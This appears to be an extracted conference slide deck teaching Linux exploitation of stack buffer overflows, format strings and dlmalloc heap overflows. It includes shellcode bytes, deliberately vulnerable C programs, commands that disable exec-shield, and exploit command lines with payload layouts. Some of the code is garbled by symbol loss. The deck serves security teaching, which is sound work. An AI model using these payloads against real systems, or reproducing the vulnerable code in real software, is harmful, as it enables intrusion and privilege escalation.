Sploit%20101%20Buffer%20Overflows,%20Format%20Strings,%20Heap%20Overflows

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Sploit 101Buffer Overflows, Format Strings, Heap
Overflows
Simple Nomad nomad mobile research centre
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Warning

• Very geeky presentation
• Assumes you are smart or willing to learn
• Extremely technical
• Questions are welcomed, but I will probably skip
  over basics in lieu of time

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Basics For Sploit Testing

• Linux
• GCC, NASM (if you roll your own shellcode, not
  covered in this presentation), Perl, gdb, basic
  development tools
• Turn off exec-shield (e.g. Fedora Core 3)
• echo 0 gt /proc/sys/kernel/exec-shield
• echo 0 gt /proc/sys/kernel/exec-shield-randomiz
  e
• Windows (these are free)
• Microsoft C/C Optimizing Compiler and Linker
• http//msdn.microsoft.com/visualc/vctoolkit2003/
• Debugging Tools
• http//www.microsoft.com/whdc/devtools/debugging/i
  nstallx86.mspx
• Active Perl
• http//www.activestate.com/Products/ActivePerl/
• Note that this presentation covers only Linux,
  not Windows

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The Buffer Overflow

• A buffer is defined with a fixed length
• End user supplies the data to go into the buffer
• More data than the buffer has allocated is
  supplied
• Buffer is overflowed
• If we can overwrite certain portions of the
  running programs memory space, we can possibly
  control the program flow
• If we can control program flow, we can (possibly)
  execute our own code
• If the program is a network daemon we can
  remotely gain access
• If the program is SUID root, we can potentially
  elevate privileges
• If the program is a daemon running as root, we
  can potentially gain remote root privileges

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Example Vuln Program

• If called as ./overflow hello it runs fine
• If called as ./overflow perl e print Ax600
  it segfaults due to an overflow of the buffer
• // overflow.c
• include ltstdio.hgt
• do_stuff(char temp1)
• char name400
• strcpy(name, temp1)
• printf(Subroutine output s\n,name)
• main(int argc,char argv)
• do_stuff(argv1)
• printf(Main output s\n,argv1)

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Program Layout in Memory

• .text Machine instructions
• .data Initialized variables, e.g. int a0
• .bss Uninitialized variables, e.g. int a
• Heap dynamically allocated variables, grows in
  size towards the stack
• Stack tracks function calls recursively, grows
  in size towards the heap
• Environment/Arguments system-level variables
  (e.g. PATH) and command-line arguments given at
  runtime

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Program Layout in Memory
.text
.data
.bss
heap
unused
stack
env
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Important Stack Info - Registers

• General registers 4 32-bit (EAX, EBX, ECX,
  EDX), 4 16-bit (AX, BX, CX, DX), 8 8-bit (AH, BH,
  CH, DH, AL, BL, CL, DL)
• Segment registers CS, SS, DS, ES, FS, GS
• Offset registers EBP (extended base pointer),
  ESI (extended source index), EDI (extended
  destination index), ESP (extended stack pointer)
• Special registers EFLAGS, EIP (extended
  instruction pointer)
• As exploiters of buffer overflows, we care most
  about EIP and ESP
• If we can overwrite EIP, we control the pointer
  to the next instruction for the processor, i.e.
  program flow
• If we know the value of ESP, we know where the
  stack is in memory, and have a reference on where
  to point EIP
• If we place our shellcode on the stack, we can
  point EIP to it using our knowledge of ESP
• We can even cheat, and simply get close to our
  shellcode via a NOP sled

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Getting ESP

• This can be called individually, but in the case
  of local privilege escalation, from within our
  exploit program
• include ltstdio.hgt
• unsigned long get_sp(void)
• __asm__(movl esp, eax)
• int main()
• printf(Stack pointer (ESP) 0xp\n,get_sp())

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Shellcode

• Assembly language instructions that typically
  launch a shell
• Usually the tighter and smaller the code, the
  better
• Many examples exist on the Internet
• If you have assembler skills, you can use NASM
  and roll your own
• Resources exist on the Internet and in books in
  the construction of shellcode, for both nix and
  Windows systems

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Example of Shellcode (Aleph1)

• char shellcode
• \x31\xc0\x31\xdb\xb0\x17\xcd\x80
• \xeb\x1f\x5e\x89\x76\x08\x31\xc0
• \x88\x46\x07\x89\x46\x0c\xb0\x0b
• \x89\xf3\x8d\x4e\x08\x8d\x56\x0c
• \xcd\x80\x31\xdb\x89\xd8\x40\xcd
• \x80\xe8\xdc\xff\xff\xff/bin/sh

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Using gdb To Find The Sweet Spot

• Launch vuln program under gdb
• You can also attach to running processes as well
• Run it while causing your segfault
• Examine the registers to check for success

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gdb In Action

• gdb overflow
• ...ltsnipgt
• (gdb) run perl -e 'print "A"x412'
• Starting program /home/thegnome/Projects/dc214/ov
  erflow perl e 'print "A"x412'
• Subroutine output AAAA...ltsnipgt
• Program received signal SIGSEGV, Segmentation
  fault.
• 0x00244151 in _dl_relocate_object_terminal ()
  from /lib/ld-linux.so.2
• (gdb) run perl -e 'print "A"x416'
• The program being debugged has been started
  already.
• Start it from the beginning? (y or n) y
• Starting program /home/thegnome/Projects/dc214/ov
  erflow perl -e 'print "A"x416'
• Subroutine output AAAA...ltsnipgt
• Program received signal SIGSEGV, Segmentation
  fault.
• 0x41414141 in ?? ()
• (gdb) info reg eip

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Pulling This All Together
./overflow perl e print \x90x200cat
scperl e print \xd8\xfb\xff\xbfx89
Repeated Addresses
Shellcode
NOP Sled
EIP
EBP
Vulnerable Buffer
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Live Demo
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Small Buffer

• What if the buffer is really small? How do you
  exploit that?
• // overflow2.c
• int main(int argc, char argv)
• char buff5
• strcpy(buff, argv1)
• return 0

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Use An ENV Variable

• Put shellcode in an environment variable
• Compute return address 0xbffffffa -
  strlen(shellcode) - strlen(ltvuln prog namegt) to
  get address for EIP
• Overflow buffer with the computed return address

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Small Buffer Layout
Formula Overwrite EIP 0xbffffffa - length of
shellcode - length of vulnerable program name
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Live Demo
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Remote Exploits

• Usually unable to determine ESP on the remote
  system
• Educated guess by compiling/testing remotely
• If daemon is a part of a binary package (rpm or
  deb, for example) debug your own copy of the
  daemon first
• Brute force it (ugly and noisy)
• If you have the source code, compile it yourself
  (with the -ggdb option set for better debugging)
• Try to compile it with the same options as an rpm
  or deb you wish to exploit, that way you can get
  all the values such as ESP and the proper size of
  the payload correct
• Test with an rpm or deb package, until you get it
  right

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Example Vulnerable Remote Program

• // nmrcd.c
• include ltstdio.hgt
• include ltstring.hgt
• include ltctype.hgt
• int stuff(char tmp)
• char buf21024
• strcpy(buf2,tmp)
• return(0)
• int main(int argc,char argv)
• char buf4096
• getsbuf
• stuff(buf)
• return(0)

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Assuming You Have Source

• Build a program to connect and send test data
• e.g. it should send As for you to determine the
  proper size of exploit to overwrite EIP
• Run daemon
• Compile with -ggdb switch for debugging
• Run test data program in gdb with a breakpoint
  set after connection and right before the data is
  sent
• Find daemon on target, and attach gdb by PID
  number
• Do a continue with the daemon, and then a
  continue with the test data program
• Check registers on the daemon, and repeat
  increasing size until you know ESP and a good
  size for overflowing
• Now construct your exploit
• In the demo, the exploit code uses different
  shellcode that binds a shell to port 4444

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Live Demo
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Format String Exploit

• The printf command outputs to stdout (usually the
  screen)
• The output can be manipulated by supplying
  formatted output of variables via tokens such as
  s or d
• char var1000
• var text
• printf(The string contains s\n,var)
• This is legal per POSIX as well, albeit
  vulnerable
• char var1000
• var argv1
• printf(var)
• What if our input (argv1) contained format
  strings like 08x or s or n?
• The s goes to stdout, but n writes data back to
  the variable
• If there is no variable to output to stdout, the
  contents of the stack are sent to stdout, so n
  will allow us to write to arbitrary memory
  locations

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Vulnerable Format String Code

• // fmtstr.c
• include ltstdlib.hgt
• int main(int argc,char argv)
• static int dc2140
• char temp2048
• strcpy(temp,argv1)
• printf(temp)
• printf(\n)
• printf(dc214 at 0x08x 0x08x\n,dc214,dc214)
  

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Steps For Format String Exploitation

• Map out the stack
• Read arbitrary memory locations
• Writing to arbitrary memory
• .dtors
• Pull it all together for an exploit

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Stack Mapping

• ./fmtstr AAAA 08x 08x 08x 08x

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Reading Memory Locations

• ./fmtstr AAAA 08x 08x 08x s
• ./fmtstr perl -e print ltreal addressgt08x
  08x 08x s
• ./fmtstr printf \x87\xfb\xff\xbf 4\s

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Writing To Memory
Assuming our shellcode is 0xbffffed5, HOB is
0xbfff and LOB is 0xfed5, and that the target
address is 0x080495bc
HOB lt LOB LOB lt HOB Using examples from above
addr2addr addr2addr \xbe\x95\x04\x08\xbc\x95\x04\x08
.HOB-8x .LOB-8x .49143x
offsethn offset1hn 4\hn
LOB - HOBx HOB - LOBx .16086x
offset1hn offsethn 5\hn
./fmtstr printf \xe6\x95\x04\x08\xe4\x95\x04\x08
.49143x4\hn.16086x5\hn
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.dtors

• DTOR aka the Destructor section of the code is
  called at exit of a program, all elf32 file
  format programs have them
• If you can insert the shellcode address into
  .dtors, you can get your shellcode to execute
• nm ./fmtstr grep DTOR
• objdump -s -j .dtors ./fmtstr

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Computing .dtors Location
nm ./fmtstr grep DTOR 080495bc d
__DTOR_END__ 080495b8 d __DTOR_LIST__ objdump
-s -j .dtors ./fmtstr ./fmtstr file format
elf32-i386 Contents of section .dtors 80495b8
ffffffff 00000000 ........

• Address location for our jump to shellcode should
  be 4 bytes past the DTOR_LIST
• Target address using example above is 0x080495bc

./fmtstr printf \xbe\x95\x04\x08\xbc\x95\x04\x08
.49143x4\hn.16086x5\hn
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Live Demo
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Heap Overflow Simple Example

• char buf1 malloc(20)
• char buf2 malloc(10)
• strcpy(buf1,argv1)
• // perform security check and store the results
  in
• // buf2
• while(strlen(buf2) lt 1)
• .
• // end of while security check loop
• if(!strcmp(buf2,PASSED))
• exit(0)
• else // continue doing stuff only if we passed
  
• // security check

./bad_heap_example perl -e print Ax28PASSED
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Heap Overflow Realistic Example

• Malloc
• We are discussing dlmalloc (Linux uses this)
• Bins
• dlmalloc
• free() behavior
• unlink()

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Malloc

• struct malloc_chunk
• size_t prev_size
• size_t size
• struct malloc_chunk
• struct malloc_chunk

Usage of the fields depends on whether the chunk
is allocated or free
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Malloc
Allocated Chunk
Free Chunk
chunk
Data
Size of this chunk
Size of previous chunk
backward pointer
forward pointer
Size of this chunk
Top of heap
Bottom of heap
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Bins

• The list of chunks is known as a bin
• There are 128 bins
• Small lists of chunks are located in the first 64
  bins, larger in the rest
• The wilderness is the top-most free chunk, and
  is not maintained in a bin
• The remainder of the most recently split chunk is
  also not maintained in a bin

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dlmalloc Functions

• malloc() allocates memory (in chunks),
  important in this example
• calloc() allocates memory and fills it with
  zeros
• realloc() reallocates memory
• free() returns memory for future reallocation,
  important in this example

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free() Behavior

• The chunk boundary tags are changed and the chunk
  is inserted into the appropriate bin via
  frontlink()
• If the adjacent chunk in the new bin is not free,
  frontlink() is called
• If next to the wilderness, chunk is added to the
  wilderness
• If the adjacent chunk is free and it is the most
  recently split chunk, it is merged in, otherwise
  the two free chunks are merged and fed in via
  frontlink()

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unlink()

• When merging two adjacent free chunks, the
  already free chunk has to be unlinked from its
  current bin via unlink()
• A heap overflow allows you to overwrite the next
  chunk, so the trick is to get unlink() to
  wrongfully forward coalescing memory
• The unlink() attack is to poison the pointers and
  insert a fake chunk, then call free(),
  overwriting a memory location of our choosing

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Vulnerable Heap Overflow Code

• // heap.c
• include ltstdlib.hgt
• include ltstring.hgt
• int main(int argc, char argv
• char buf1 malloc(300)
• char buf2 malloc(20)
• strcpy(buf1, argv1)
• free(buf1)
• free(buf2)
• return 0

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We Need Two Values

• The first value is the location of free() since
  we are going to overwrite it
• objdump R ./heap grep free
• 08049548 R_386_JUMP_SLOT free
• The second value is the location of buf1
• ltrace ./heap 2gt1 grep 300
• malloc(300) 0x08049560
• Side note we could also overwrite .dtors, use
  an environment variable for shell code if we are
  tight on space, etc etc - just like in the buffer
  overflow or the format string examples from
  earlier

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What to Inject

• Part 1 8 bytes of junk
• Overwritten by the first free() when it adds a
  prev_size and size field before the chunk is
  added to the bins
• Part 2 \xeb\x0c
• Assembler for jumping ahead 12 bytes
• Part 3 12 bytes of junk to be jumped over
• Part 4 Shellcode
• Part 5 Filler to fill up first buffer within 4
  bytes of the end of the buffer

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What to Inject

• Part 6 Negative number with least significant
  bit 0 (0xfffffff0)
• Part 7 Negative 4 (0xfffffffc)
• This will become the size byte of the second
  chunk, saying essentially that the third chunk
  starts 4 bytes earlier. Since the LSB is 0, the
  second chunk is free and needs to be unlinked

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What to Inject

• Part 8 The memory location we wish to overwrite,
  -2
• This becomes the new second chunks forward
  pointer
• The value we put there is the location of the
  free() function call-12
• From our example 0x08049548 0xc
• Part 9 The value to overwrite
• This becomes the new second chunks backward
  pointer
• This points to our shellcode
• From our example this is 0x08049560
• Part 10 NULL terminate the string (\x0)

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Live Demo
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Finding The Bugs To Sploit

• Odd crashes from input
• Fuzzing input with AAAAs, 08x s, etc
• Source code analysis
• Reported bugs with no exploits
• Great place to practice
• Start with security advisories that give
  technical details

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Questions?

• Further reading
• Gray Hat Hacking, Shon Harris et al.,
  McGraw-Hill/Osborne
• Hacking The Art of Exploitation, Jon Erickson,
  No Starch Press
• The Shellcoders Handbook, Koziol et al., Wiley
  Publishing

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./nmrc -sS -T Paranoid .gov
See you in Vegas for BH/DC!